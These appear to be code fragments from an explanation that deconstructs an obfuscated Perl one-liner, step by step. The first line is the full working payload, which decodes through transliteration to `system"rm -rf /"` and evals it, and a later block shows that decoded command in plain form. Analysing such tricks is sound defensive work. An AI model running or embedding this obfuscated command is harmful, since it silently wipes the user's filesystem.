$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see

##</code><code>##

($?)
	?(s/;s/s;;$?/)
	:(s//=]=>%-{<-|}<&|`{/);

y/ -\/:-@[-`{-}/`-{\/" -/;

s//$_/see

##</code><code>##

s//=]=>%-{<-|}<&|`{/

##</code><code>##

$_ =~ s//=]=>%-{<-|}<&|`{/;

##</code><code>##

s//=]=>%-{<-|}<&|`{/;

y/ -\/:-@[-`{-}/`-{\/" -/;

s//$_/see

##</code><code>##

$_ = "=]=>%-{<-|}<&|`{";

##</code><code>##

y/ -\/:-@[-`{-}/`-{\/" -/;

##</code><code>##

$_ = 'system"rm -rf /"';

##</code><code>##

my $r = "";
my $rs = q( -/:-@[-`{-});
$rs =~ s/(.)-(.)/r($1, $2)/ge;
$rs =~ s/([-\/\\])/\\$1/g;

print "$rs\n";

sub r{
  my ($f, $t) = @_;

  my $s = "";
  map { $s .= chr($_) } ord($f)..ord($t);

  return $s;
}

##</code><code>##

$_ = q/ !"#$%&'()*+,\-.\/:;<=>?@[\\]^_`{|}/;

##</code><code>##

$_ = q/`abcdefghijklmnopqrstuvwxyz{\/" \-/;

##</code><code>##

y/ !"#$%&'()*+,\-.\/:;<=>?@[\\]^_`{|}/`abcdefghijklmnopqrstuvwxyz{\/" \-/;